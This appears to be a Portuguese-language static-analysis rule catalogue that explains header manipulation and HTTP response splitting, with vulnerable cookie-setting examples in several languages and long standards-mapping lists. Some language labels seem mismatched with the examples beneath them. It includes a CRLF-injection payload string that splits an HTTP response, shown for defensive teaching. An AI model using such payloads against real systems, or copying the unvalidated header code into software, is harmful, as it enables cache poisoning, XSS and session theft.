[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.apex.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos e estruturas de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Microsoft .NET Framework converterão caracteres CR, LF e NULL em %0d, %0a e %00 quando estes forem enviados ao método HttpResponse.AddHeader(). Se você estiver usando o .NET Framework mais recente que impede a definição de cabeçalhos com caracteres de nova linha, talvez o seu aplicativo não seja vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para Author.Text não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dotnet.header_manipulation
Abstract
Incluir dados não validados em um cabeçalho de resposta HTTP pode possibilitar ataques de envenenamento de cache, cross-site scripting, desfiguração entre usuários ou sequestro de página.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado contra caracteres mal-intencionados.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, de um formulário HTML e o define no cabeçalho de um cookie de uma resposta HTTP.


...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(AUTHOR)
...
END-EXEC.

EXEC CICS
WEB WRITE
HTTPHEADER(COOKIE)
VALUE(AUTHOR)
...
END-EXEC.
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cobol.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação da Web.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de um formulário da Web e o define em um cabeçalho de cookie de uma resposta HTTP.


<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1/1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

